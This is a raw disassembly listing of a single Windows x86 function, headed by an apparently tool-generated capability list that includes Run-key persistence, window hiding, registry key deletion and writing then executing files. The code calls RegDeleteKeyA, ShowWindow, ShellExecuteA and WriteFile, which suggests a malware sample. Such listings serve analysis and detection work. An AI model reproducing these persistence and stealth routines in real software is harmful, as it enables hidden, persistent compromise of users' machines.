Function at 0x413eb8
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Get disk information
Hide graphical window
Persist via run registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2f
push 0
push 0
dec ecx
jne 0x413ec0
push ebx
push esi
push edi
mov edi, 0x41aadc
mov esi, 0x41ab14
mov ebx, 0x41ab5b
xor eax, eax
push ebp
push 0x415542
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
mov edx, 0x415558
call fcn.00403770
cmp byte [0x41ab5c], 0x66
jne 0x413f4b
mov eax, dword [0x41924c]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x415614
mov edx, 0x415624
mov eax, 0x80000002
call fcn.004067c8
mov edx, dword [ebp - 4]
mov eax, 0x41aae8
call fcn.00403770
cmp byte [0x41ab59], 0
jne 0x413f4b
push 0x2710
call sub.kernel32.dll_Sleep
mov eax, dword [0x41aae8]
call fcn.00406668
mov byte [ebx], al
mov eax, esi
mov edx, 0x41566c
call fcn.00403770
mov edx, 0x415624
mov ecx, 0x415614
mov eax, 0x80000002
call fcn.00406c90
lea eax, [ebp - 8]
call fcn.0040650c
mov edx, dword [ebp - 8]
mov eax, 0x41aad8
call fcn.00403770
lea eax, [ebp - 0xc]
call fcn.00406578
mov edx, dword [ebp - 0xc]
mov eax, edi
call fcn.00403770
mov eax, 0x41aae0
mov ecx, 0x4156c0
mov edx, dword [edi]
call fcn.004038e0
mov eax, esi
mov edx, 0x4156d0
call fcn.00403770
mov eax, dword [0x41aae8]
call fcn.00403894
test eax, eax
jne 0x413fce
mov eax, 0x41aae8
mov ecx, 0x415750
mov edx, dword [edi]
call fcn.004038e0
mov eax, 0x4191e4
mov ecx, dword [0x4191e4]
mov edx, dword [edi]
call fcn.004038e0
mov eax, 0x41aad0
mov ecx, 0x415760
mov edx, dword [0x4191e4]
call fcn.004038e0
mov eax, esi
mov edx, 0x415774
call fcn.00403770
mov eax, 0x41aad4
mov ecx, 0x415800
mov edx, dword [0x4191e4]
call fcn.004038e0
xor eax, eax
mov dword [0x41ab60], eax
call fcn.00416f04
mov eax, esi
mov edx, 0x415814
call fcn.00403770
cmp byte [0x41ab59], 0
je 0x41427c
mov eax, 0x415850
call fcn.00405b98
push 0xbb8
call sub.kernel32.dll_Sleep
call fcn.004066e8
lea eax, [ebp - 0x10]
mov ecx, 0x415868
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x10]
call fcn.00405a4c
lea eax, [ebp - 0x14]
mov ecx, 0x41587c
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x14]
call fcn.00405a4c
mov eax, dword [0x41aad0]
call fcn.00405a4c
mov eax, esi
mov edx, 0x415890
call fcn.00403770
mov ecx, 0x415750
mov edx, 0x4158dc
mov eax, 0x80000002
call fcn.00406c90
mov ecx, 0x415750
mov edx, 0x415914
mov eax, 0x80000002
call fcn.00406c90
mov ecx, 0x415750
mov edx, 0x415954
mov eax, 0x80000001
call fcn.00406c90
mov edx, 0x4158dc
mov ecx, 0x41599c
mov eax, 0x80000001
call fcn.00406c90
mov edx, 0x415954
mov ecx, 0x4159ac
mov eax, 0x80000002
call fcn.00406c90
lea eax, [ebp - 0x18]
mov ecx, 0x4159bc
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x18]
call fcn.00405a4c
lea eax, [ebp - 0x1c]
mov ecx, 0x4159d0
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x1c]
call fcn.00405a4c
mov eax, esi
mov edx, 0x4159e4
call fcn.00403770
lea eax, [ebp - 0x20]
mov ecx, 0x415a78
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x20]
call fcn.00405a4c
lea eax, [ebp - 0x24]
mov ecx, 0x415a8c
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x24]
call fcn.00405a4c
lea eax, [ebp - 0x28]
mov ecx, 0x415aa0
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x28]
call fcn.00405a4c
lea eax, [ebp - 0x2c]
mov ecx, 0x415ab4
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x2c]
call fcn.00405a4c
lea eax, [ebp - 0x30]
mov ecx, 0x415ac8
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x30]
call fcn.00405a4c
push 0x415ad4
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
push 0x415b00
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
mov eax, 0x415b48
call fcn.00412600
mov eax, 0x415b54
call fcn.00412600
mov eax, esi
mov edx, 0x415b60
call fcn.00403770
mov eax, 0x415c24
call fcn.00412600
mov eax, esi
mov edx, 0x415558
call fcn.00403770
mov eax, dword [0x41aad4]
call fcn.00405a4c
push 0x200040
push 0x415c28
push 0x415c40
lea edx, [ebp - 0x38]
mov eax, 0x8c
call fcn.00405350
push dword [ebp - 0x38]
push 0x415c54
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0x34]
call fcn.00403a94
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 1
push 0
push 0
mov ecx, 0x415850
lea eax, [ebp - 0x3c]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x3c]
call fcn.00403a94
push eax
push 0x415c6c
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00405aa4
jmp 0x415524
push 0
mov eax, dword [0x4191e4]
call fcn.00403a94
push eax
call sub.kernel32.dll_CreateDirectoryA
call sub.kernel32.dll_GetVersion_1
and eax, 0xffff
and eax, 0xff
cmp ax, 5
setb byte [0x41ab58]
cmp byte [0x41ab58], 0
je 0x4142b6
call fcn.00405f7c
mov eax, esi
mov edx, 0x415c7c
call fcn.00403770
mov eax, dword [0x41924c]
push eax
mov edx, 0x415624
mov ecx, 0x415ce0
mov eax, 0x80000002
call fcn.00406714
push eax
call fcn.004055a8
pop edx
sub eax, edx
cmp eax, 0x1e
jl 0x415524
lea edx, [ebp - 0x40]
mov eax, dword [0x41aae8]
call fcn.004055d8
mov edx, dword [ebp - 0x40]
mov eax, 0x41aaec
call fcn.00403770
call fcn.0040278c
lea edx, [ebp - 0x44]
mov eax, 0x415cec
call fcn.00406030
mov edx, dword [ebp - 0x44]
mov eax, 0x41ab18
call fcn.00403770
mov eax, esi
mov edx, 0x415d1c
call fcn.00403770
mov eax, 0x41aae4
mov edx, 0x415d4c
call fcn.00403770
lea eax, [ebp - 0x4c]
mov ecx, dword [0x41aae4]
mov edx, 0x415d68
call fcn.004038e0
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x48]
call fcn.00406030
mov edx, dword [ebp - 0x48]
mov eax, 0x41ab1c
call fcn.00403770
mov eax, esi
mov edx, 0x41566c
call fcn.00403770
push 1
push 0x96
push 0x222e1
mov ecx, 0x4159bc
lea eax, [ebp - 0x50]
mov edx, dword [edi]
call fcn.004038e0
mov edx, dword [ebp - 0x50]
mov cl, 1
mov eax, dword [0x41aae8]
call fcn.0040579c
mov byte [ebx], al
mov ecx, 0x4159bc
lea eax, [ebp - 0x54]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x54]
call fcn.00406668
mov byte [ebx], al
mov eax, dword [0x41924c]
push eax
mov edx, 0x415624
mov ecx, 0x415d7c
mov eax, 0x80000002
call fcn.00406714
mov dword [0x41ab50], eax
cmp dword [0x41ab50], 0x8c
jge 0x4144ca
cmp byte [ebx], 0
jne 0x414446
mov ecx, 0x4159bc
lea eax, [ebp - 0x58]
mov edx, dword [edi]
call fcn.004038e0
mov edx, dword [ebp - 0x58]
mov eax, dword [0x41aae8]
call fcn.004039e0
je 0x414446
mov eax, 0x4159bc
call fcn.00405b98
push 1
push 0x96
push 0x222e1
mov ecx, 0x4159bc
lea eax, [ebp - 0x5c]
mov edx, dword [edi]
call fcn.004038e0
mov edx, dword [ebp - 0x5c]
mov cl, 1
mov eax, dword [0x41aae8]
call fcn.0040579c
mov byte [ebx], al
cmp byte [ebx], 0
je 0x4144ca
push 0x8c
mov ecx, 0x415d7c
mov edx, 0x415624
mov eax, 0x80000002
call fcn.0040698c
mov byte [ebx], al
cmp dword [0x41ab50], 0
jle 0x414490
lea edx, [ebp - 0x60]
mov eax, dword [0x41ab50]
call fcn.00405350
mov ecx, dword [ebp - 0x60]
mov eax, 0x41aae4
mov edx, 0x415d8c
call fcn.004038e0
jmp 0x41449a
mov eax, 0x41aae4
call fcn.0040371c
push 0x415d9c
lea edx, [ebp - 0x68]
mov eax, 0x8c
call fcn.00405350
push dword [ebp - 0x68]
push dword [0x41aae4]
lea eax, [ebp - 0x64]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0x64]
call fcn.0041706c
mov eax, esi
mov edx, 0x415db0
call fcn.00403770
call fcn.004073b0
push 1
push 0x96
push 0x222e1
mov ecx, 0x4159d0
lea eax, [ebp - 0x6c]
mov edx, dword [edi]
call fcn.004038e0
mov edx, dword [ebp - 0x6c]
xor ecx, ecx
mov eax, dword [0x41aae8]
call fcn.0040579c
mov byte [ebx], al
mov ecx, 0x4159d0
lea eax, [ebp - 0x70]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x70]
call fcn.00406668
mov byte [ebx], al
mov eax, esi
mov edx, 0x415dc8
call fcn.00403770
push 1
push 0x96
push 0x222e1
mov ecx, 0x415a78
lea eax, [ebp - 0x74]
mov edx, dword [edi]
call fcn.004038e0
mov edx, dword [ebp - 0x74]
xor ecx, ecx
mov eax, dword [0x41aae8]
call fcn.0040579c
mov byte [ebx], al
mov ecx, 0x415a78
lea eax, [ebp - 0x78]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x78]
call fcn.00406668
mov byte [ebx], al
mov eax, esi
mov edx, 0x415de0
call fcn.00403770
mov ecx, 0x415ab4
lea eax, [ebp - 0x7c]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x7c]
call fcn.00405830
test al, al
jne 0x41461e
push 1
push 0
push 0x222e1
mov ecx, 0x415ab4
lea eax, [ebp - 0x80]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x80]
push eax
mov ecx, 0x415a8c
lea eax, [ebp - 0x84]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x84]
xor ecx, ecx
pop edx
call fcn.0040579c
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x415ac8
lea eax, [ebp - 0x88]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x88]
push eax
mov ecx, 0x415aa0
lea eax, [ebp - 0x8c]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
pop edx
call fcn.0040579c
mov byte [ebx], al
mov ecx, 0x415a8c
lea eax, [ebp - 0x90]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x90]
call fcn.00405830
test al, al
jne 0x4146cb
push 1
push 0
push 0x222e1
mov ecx, 0x415a8c
lea eax, [ebp - 0x94]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x94]
push eax
mov ecx, 0x415ab4
lea eax, [ebp - 0x98]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x98]
xor ecx, ecx
pop edx
call fcn.0040579c
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x415aa0
lea eax, [ebp - 0x9c]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x9c]
push eax
mov ecx, 0x415ac8
lea eax, [ebp - 0xa0]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xa0]
xor ecx, ecx
pop edx
call fcn.0040579c
mov byte [ebx], al
mov eax, dword [0x41aae8]
call fcn.00406668
mov byte [ebx], al
mov ecx, 0x415a8c
lea eax, [ebp - 0xa4]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xa4]
call fcn.00406668
mov byte [ebx], al
mov ecx, 0x415aa0
lea eax, [ebp - 0xa8]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xa8]
call fcn.00406668
mov byte [ebx], al
mov eax, esi
mov edx, 0x415e40
call fcn.00403770
mov ecx, 0x415ab4
lea eax, [ebp - 0xac]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xac]
call fcn.00406668
mov byte [ebx], al
mov ecx, 0x415ac8
lea eax, [ebp - 0xb0]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xb0]
call fcn.00406668
mov byte [ebx], al
mov eax, esi
mov edx, 0x415e68
call fcn.00403770
call fcn.00410b40
mov eax, 0x415b48
call fcn.00411410
mov eax, 0x415b54
call fcn.00411410
mov eax, 0x415c24
call fcn.00411410
mov eax, esi
mov edx, 0x415ed0
call fcn.00403770
mov eax, 0x415f90
call fcn.00411410
mov eax, esi
mov edx, 0x415f9c
call fcn.00403770
push 0
push 0
push 0x41ab54
mov ecx, 0x407e34
xor edx, edx
xor eax, eax
call fcn.004036d8
mov eax, esi
mov edx, 0x415ff8
call fcn.00403770
push 0
push 0
push 0x41ab54
mov ecx, 0x406e7c
xor edx, edx
xor eax, eax
call fcn.004036d8
mov ecx, 0x4159bc
mov eax, 0x41aae4
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [0x41aae4]
mov edx, dword [0x41aae8]
call fcn.004039e0
je 0x414857
mov ecx, 0x4159d0
lea eax, [ebp - 0xb4]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xb4]
mov edx, dword [0x41aae8]
call fcn.004039e0
je 0x414857
mov ecx, 0x415a78
lea eax, [ebp - 0xb8]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xb8]
mov edx, dword [0x41aae8]
call fcn.004039e0
jne 0x414863
mov eax, 0x41aae4
call fcn.0040371c
jmp 0x414878
mov eax, 0x41aae4
mov ecx, dword [0x41aae8]
mov edx, 0x416098
call fcn.004038e0
mov al, byte [0x41ab5c]
sub al, 0x64
je 0x41488b
dec al
je 0x4148a2
dec al
je 0x4148b9
jmp 0x4148ce
mov eax, 0x41aae4
mov ecx, dword [0x41aae4]
mov edx, 0x4160a4
call fcn.004038e0
jmp 0x4148ce
mov eax, 0x41aae4
mov ecx, dword [0x41aae4]
mov edx, 0x4160b0
call fcn.004038e0
jmp 0x4148ce
mov eax, 0x41aae4
mov ecx, dword [0x41aae4]
mov edx, 0x4160bc
call fcn.004038e0
lea eax, [ebp - 0xbc]
mov ecx, dword [0x41aae4]
mov edx, 0x4160cc
call fcn.004038e0
mov eax, dword [ebp - 0xbc]
call fcn.0041706c
mov ecx, 0x415624
mov eax, 0x41ab74
mov edx, 0x80000002
call fcn.00406ae8
test al, al
jne 0x41492e
mov ecx, 0x415624
mov eax, 0x41ab74
mov edx, 0x80000002
call fcn.00406ae8
test al, al
jne 0x41492e
mov eax, 0x4160dc
call fcn.0041706c
jmp 0x415524
mov eax, esi
mov edx, 0x4160f4
call fcn.00403770
push dword [edi]
push 0x4161cc
push 0x4161dc
mov eax, 0x41ab04
mov edx, 3
call fcn.00403954
mov eax, dword [0x41ab04]
call fcn.00405830
test al, al
jne 0x4149cf
push 1
push 0x96
push 0x222e1
lea eax, [ebp - 0xc0]
mov ecx, 0x4161ec
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xc0]
mov cl, 1
mov edx, dword [0x41ab04]
call fcn.0040579c
test al, al
je 0x4149bb
lea eax, [ebp - 0xc4]
mov ecx, dword [0x41ab04]
mov edx, 0x416204
call fcn.004038e0
mov eax, dword [ebp - 0xc4]
call fcn.0041706c
jmp 0x4149cf
mov eax, 0x416220
call fcn.0041706c
mov eax, 0x41ab04
call fcn.0040371c
mov eax, esi
mov edx, 0x416230
call fcn.00403770
mov eax, dword [0x41ab04]
call fcn.00403894
test eax, eax
jle 0x414bcf
mov eax, 0x41ab0c
mov ecx, 0x4162dc
mov edx, dword [edi]
call fcn.004038e0
mov eax, 0x41ab08
mov edx, 0x4162f0
call fcn.00403770
lea eax, [ebp - 0xc8]
mov ecx, 0x416304
mov edx, dword [0x41ab0c]
call fcn.004038e0
mov eax, dword [ebp - 0xc8]
call fcn.00405830
test al, al
je 0x414a41
mov eax, 0x41ab08
mov edx, 0x416314
call fcn.0040389c
lea eax, [ebp - 0xcc]
mov ecx, 0x416324
mov edx, dword [0x41ab0c]
call fcn.004038e0
mov eax, dword [ebp - 0xcc]
call fcn.00405830
test al, al
je 0x414a75
mov eax, 0x41ab08
mov edx, 0x416334
call fcn.0040389c
lea eax, [ebp - 0xd0]
mov ecx, 0x416344
mov edx, dword [0x41ab0c]
call fcn.004038e0
mov eax, dword [ebp - 0xd0]
call fcn.00405830
test al, al
je 0x414aa9
mov eax, 0x41ab08
mov edx, 0x416354
call fcn.0040389c
lea eax, [ebp - 0xd4]
mov ecx, 0x416364
mov edx, dword [0x41ab0c]
call fcn.004038e0
mov eax, dword [ebp - 0xd4]
call fcn.00405830
test al, al
je 0x414add
mov eax, 0x41ab08
mov edx, 0x416374
call fcn.0040389c
lea eax, [ebp - 0xd8]
mov ecx, 0x416384
mov edx, dword [0x41ab0c]
call fcn.004038e0
mov eax, dword [ebp - 0xd8]
call fcn.00405830
test al, al
je 0x414b11
mov eax, 0x41ab08
mov edx, 0x416394
call fcn.0040389c
lea eax, [ebp - 0xdc]
mov ecx, 0x4163a4
mov edx, dword [0x41ab0c]
call fcn.004038e0
mov eax, dword [ebp - 0xdc]
call fcn.00405830
test al, al
je 0x414b45
mov eax, 0x41ab08
mov edx, 0x4163b4
call fcn.0040389c
lea eax, [ebp - 0xe0]
mov ecx, 0x4163c4
mov edx, dword [0x41ab0c]
call fcn.004038e0
mov eax, dword [ebp - 0xe0]
call fcn.00405830
test al, al
je 0x414b79
mov eax, 0x41ab08
mov edx, 0x4163d4
call fcn.0040389c
mov eax, dword [0x41ab08]
mov edx, 0x4163e4
call fcn.004039e0
jne 0x414b96
mov eax, 0x416414
call fcn.0041706c
jmp 0x414bb7
lea eax, [ebp - 0xe4]
mov ecx, dword [0x41ab08]
mov edx, 0x416424
call fcn.004038e0
mov eax, dword [ebp - 0xe4]
call fcn.0041706c
push 0
mov ecx, 0x416434
mov edx, 0x416444
mov eax, 0x80000001
call fcn.0040698c
jmp 0x414bd9
mov eax, 0x41ab08
call fcn.0040371c
cmp byte [0x41ab58], 0
jne 0x414c2d
push 0x1f40
call sub.kernel32.dll_Sleep
push 0x41645c
push 0
call sub.user32.dll_FindWindowA
mov dword [0x41ab54], eax
cmp dword [0x41ab54], 0
jne 0x414c17
push 0x416474
push 0
call sub.user32.dll_FindWindowA
mov dword [0x41ab54], eax
cmp dword [0x41ab54], 0
jbe 0x414c2d
push 0
mov eax, dword [0x41ab54]
push eax
call sub.user32.dll_ShowWindow
mov eax, esi
mov edx, 0x416230
call fcn.00403770
mov eax, 0x41aae4
mov edx, 0x416494
call fcn.00403770
lea edx, [ebp - 0xec]
mov eax, 0x4164d8
call fcn.00406030
mov ecx, dword [ebp - 0xec]
lea eax, [ebp - 0xe8]
mov edx, dword [0x41aae8]
call fcn.004038e0
mov eax, dword [ebp - 0xe8]
push eax
lea eax, [ebp - 0xf8]
mov ecx, 0x4164fc
mov edx, dword [0x41aae4]
call fcn.004038e0
mov eax, dword [ebp - 0xf8]
lea edx, [ebp - 0xf4]
call fcn.00406030
mov ecx, dword [ebp - 0xf4]
lea eax, [ebp - 0xf0]
mov edx, 0x416520
call fcn.004038e0
mov edx, dword [ebp - 0xf0]
mov ecx, dword [0x41aae8]
mov eax, 0x80000002
call fcn.0040689c
mov eax, esi
mov edx, 0x41654c
call fcn.00403770
mov eax, dword [0x41924c]
push eax
mov edx, 0x415624
mov ecx, 0x4165ac
mov eax, 0x80000002
call fcn.00406714
mov dword [0x41ab38], eax
mov eax, dword [0x41924c]
push eax
mov edx, 0x415624
mov ecx, 0x4165bc
mov eax, 0x80000002
call fcn.00406714
mov dword [0x41ab48], eax
cmp dword [0x41ab48], 0x64
jge 0x414eeb
mov eax, dword [0x41924c]
push eax
push 0x400
lea eax, [ebp - 0x100]
push eax
mov edx, 0x415624
mov ecx, 0x4165cc
mov eax, 0x80000002
call fcn.004067c8
mov eax, dword [ebp - 0x100]
lea edx, [ebp - 0xfc]
call fcn.004053d4
mov edx, dword [ebp - 0xfc]
mov eax, 0x41aafc
call fcn.00403770
mov eax, dword [0x41aafc]
call fcn.00403894
test eax, eax
je 0x414d82
mov eax, dword [0x41aafc]
mov al, byte [eax]
add al, 0x9f
sub al, 0x1a
jb 0x414d91
mov eax, 0x41aafc
mov edx, 0x4165dc
call fcn.00403770
push 0x100002
mov eax, 0x41ac6c
mov ecx, 1
mov edx, dword [0x406e5c]
call fcn.00404220
add esp, 4
mov eax, dword [0x41aafc]
mov bl, byte [eax]
cmp bl, 0x63
jb 0x414ec7
lea eax, [ebp - 0x104]
mov edx, ebx
call fcn.0040383c
lea eax, [ebp - 0x104]
mov edx, 0x4165e8
call fcn.0040389c
mov eax, dword [ebp - 0x104]
call fcn.00403a94
push eax
call sub.kernel32.dll_GetDriveTypeA
add eax, 0xfffffffe
sub eax, 3
jb 0x414dfd
sub eax, 1
jne 0x414eb6
xor eax, eax
mov dword [0x41ab3c], eax
lea eax, [ebp - 0x108]
mov edx, ebx
call fcn.0040383c
lea eax, [ebp - 0x108]
mov edx, 0x4165e8
call fcn.0040389c
mov eax, dword [ebp - 0x108]
call fcn.0040c880
lea eax, [ebp - 0x110]
mov edx, ebx
call fcn.0040383c
mov ecx, dword [ebp - 0x110]
lea eax, [ebp - 0x10c]
mov edx, 0x4165f4
call fcn.004038e0
mov eax, dword [ebp - 0x10c]
call fcn.0041706c
mov eax, esi
mov edx, 0x416608
call fcn.00403770
lea eax, [ebp - 0x114]
xor edx, edx
mov dl, bl
dec edx
call fcn.0040383c
mov eax, dword [ebp - 0x114]
push eax
mov ecx, 0x4165cc
mov edx, 0x415624
mov eax, 0x80000002
call fcn.0040689c
push 0
mov ecx, 0x4165ac
mov edx, 0x415624
mov eax, 0x80000002
call fcn.0040698c
cmp bl, 0x63
jne 0x414eb6
mov eax, 0x41665c
call fcn.0041706c
xor eax, eax
mov dword [0x41ab38], eax
dec ebx
cmp bl, 0x62
jne 0x414dbe
mov dword [0x41ab48], 0x64
mov eax, dword [0x41ab48]
push eax
mov ecx, 0x4165bc
mov edx, 0x415624
mov eax, 0x80000002
call fcn.0040698c
cmp dword [0x41ab48], 0xc8
jge 0x414f8f
cmp byte [0x41ab5c], 0x66
jne 0x414f0b
mov byte [0x4191d8], 0
xor eax, eax
mov dword [0x41ab40], eax
mov eax, dword [0x41924c]
push eax
mov edx, 0x415624
mov ecx, 0x416670
mov eax, 0x80000002
call fcn.00406714
mov dword [0x41ab44], eax
push 0x100002
mov eax, 0x41ac6c
mov ecx, 1
mov edx, dword [0x406e5c]
call fcn.00404220
add esp, 4
xor eax, eax
call fcn.0040d3c4
mov dword [0x41ab48], 0xc8
mov eax, dword [0x41ab48]
push eax
mov ecx, 0x4165bc
mov edx, 0x415624
mov eax, 0x80000002
call fcn.0040698c
mov eax, 0x416680
call fcn.0041706c
mov eax, esi
mov edx, 0x416698
call fcn.00403770
push 0
mov eax, 0x41ac6c
mov ecx, 1
mov edx, dword [0x406e5c]
call fcn.00404220
add esp, 4
mov eax, esi
mov edx, 0x416754
call fcn.00403770
mov eax, 0x41ab74
call fcn.00406b5c
mov eax, dword [0x41aaec]
call fcn.00403894
test eax, eax
jne 0x415011
lea edx, [ebp - 0x118]
mov eax, dword [0x41aae8]
call fcn.004055d8
mov edx, dword [ebp - 0x118]
mov eax, 0x41aaec
call fcn.00403770
mov eax, dword [0x41aaec]
call fcn.00403894
test eax, eax
jne 0x415011
call fcn.0040aa1c
jmp 0x415524
cmp byte [0x41ab5c], 0x64
jne 0x415024
call fcn.00416c18
call fcn.004035b0
mov byte [0x4191d8], 0
mov eax, dword [0x41924c]
push eax
mov edx, 0x415624
mov ecx, 0x41679c
mov eax, 0x80000002
call fcn.00406714
dec eax
je 0x415100
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [0x41aad0]
call fcn.00403a94
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x41ab64], eax
mov eax, esi
mov edx, 0x4167ac
call fcn.00403770
push 2
push 0
push 0
mov eax, dword [0x41ab64]
push eax
call sub.kernel32.dll_SetFilePointer_1
lea eax, [ebp - 0x11c]
call fcn.00408114
mov edx, dword [ebp - 0x11c]
mov eax, 0x41aae4
call fcn.00403770
push 0
push 0x41ab54
mov eax, dword [0x41aae4]
call fcn.00403894
push eax
mov eax, 0x41aae4
call fcn.00403aec
push eax
mov eax, dword [0x41ab64]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, esi
mov edx, 0x41687c
call fcn.00403770
mov eax, dword [0x41ab64]
push eax
call sub.kernel32.dll_CloseHandle_1
push 1
mov ecx, 0x41679c
mov edx, 0x415624
mov eax, 0x80000002
call fcn.0040698c
push 0xea60
call sub.kernel32.dll_Sleep
mov eax, esi
mov edx, 0x4168a0
call fcn.00403770
lea edx, [ebp - 0x120]
mov al, 1
call fcn.00405410
mov ecx, dword [ebp - 0x120]
mov eax, 0x41aaf8
mov edx, 0x416908
call fcn.004038e0
mov eax, 7
call fcn.00402bf8
cmp eax, 5
ja case.default.0x41514b
jmp dword [eax*4 + 0x415152]
lea edx, [ebp - 0x124]
mov eax, 0x41691c
call fcn.00406030
mov edx, dword [ebp - 0x124]
mov eax, 0x41aaf4
call fcn.00403770
jmp 0x41525f
lea edx, [ebp - 0x128]
mov eax, 0x416934
call fcn.00406030
mov edx, dword [ebp - 0x128]
mov eax, 0x41aaf4
call fcn.00403770
jmp 0x41525f
lea edx, [ebp - 0x12c]
mov eax, 0x41694c
call fcn.00406030
mov edx, dword [ebp - 0x12c]
mov eax, 0x41aaf4
call fcn.00403770
jmp 0x41525f
lea edx, [ebp - 0x130]
mov eax, 0x416964
call fcn.00406030
mov edx, dword [ebp - 0x130]
mov eax, 0x41aaf4
call fcn.00403770
jmp 0x41525f
lea edx, [ebp - 0x134]
mov eax, 0x41697c
call fcn.00406030
mov edx, dword [ebp - 0x134]
mov eax, 0x41aaf4
call fcn.00403770
jmp 0x41525f
lea edx, [ebp - 0x138]
mov eax, 0x416998
call fcn.00406030
mov edx, dword [ebp - 0x138]
mov eax, 0x41aaf4
call fcn.00403770
jmp 0x41525f
lea edx, [ebp - 0x13c]
mov eax, 0x4169b0
call fcn.00406030
mov edx, dword [ebp - 0x13c]
mov eax, 0x41aaf4
call fcn.00403770
mov eax, esi
mov edx, 0x415774
call fcn.00403770
mov eax, 7
call fcn.00402bf8
cmp eax, 5
ja case.default.0x41527e
jmp dword [eax*4 + 0x415285]
lea edx, [ebp - 0x140]
mov eax, 0x4169c8
call fcn.00406030
mov edx, dword [ebp - 0x140]
mov eax, 0x41aaf0
call fcn.00403770
jmp 0x41539e
lea edx, [ebp - 0x144]
mov eax, 0x4169e4
call fcn.00406030
mov edx, dword [ebp - 0x144]
mov eax, 0x41aaf0
call fcn.00403770
jmp 0x41539e
lea edx, [ebp - 0x148]
mov eax, 0x416a00
call fcn.00406030
mov edx, dword [ebp - 0x148]
mov eax, 0x41aaf0
call fcn.00403770
jmp 0x41539e
lea edx, [ebp - 0x14c]
mov eax, 0x416a1c
call fcn.00406030
mov edx, dword [ebp - 0x14c]
mov eax, 0x41aaf0
call fcn.00403770
jmp 0x41539e
lea edx, [ebp - 0x150]
mov eax, 0x416a38
call fcn.00406030
mov edx, dword [ebp - 0x150]
mov eax, 0x41aaf0
call fcn.00403770
jmp 0x41539e
lea edx, [ebp - 0x154]
mov eax, 0x416a50
call fcn.00406030
mov edx, dword [ebp - 0x154]
mov eax, 0x41aaf0
call fcn.00403770
jmp 0x41539e
lea edx, [ebp - 0x158]
mov eax, 0x416a6c
call fcn.00406030
mov edx, dword [ebp - 0x158]
mov eax, 0x41aaf0
call fcn.00403770
mov eax, esi
mov edx, 0x416a88
call fcn.00403770
mov ecx, 0x415868
lea eax, [ebp - 0x15c]
mov edx, dword [edi]
call fcn.004038e0
mov edx, dword [ebp - 0x15c]
mov eax, dword [0x41aad0]
call fcn.00413300
test al, al
je 0x4153ea
mov ecx, 0x41587c
lea eax, [ebp - 0x160]
mov edx, dword [edi]
call fcn.004038e0
mov edx, dword [ebp - 0x160]
mov eax, dword [0x41aad4]
call fcn.00413300
test al, al
jne 0x415400
mov eax, esi
mov edx, 0x416af0
call fcn.00403770
call fcn.00416c18
jmp 0x415524
call fcn.004061b4
mov ecx, 0x415868
lea eax, [ebp - 0x164]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x164]
call fcn.0040dfe4
test al, al
je 0x415448
mov ecx, 0x41587c
lea eax, [ebp - 0x168]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x168]
call fcn.0040dfe4
jmp 0x415524
call fcn.004061b4
mov ecx, 0x415868
lea eax, [ebp - 0x16c]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x16c]
call fcn.0040dfe4
test al, al
je 0x415490
mov ecx, 0x41587c
lea eax, [ebp - 0x170]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x170]
call fcn.0040dfe4
jmp 0x415524
call fcn.004061b4
mov ecx, 0x415868
lea eax, [ebp - 0x174]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x174]
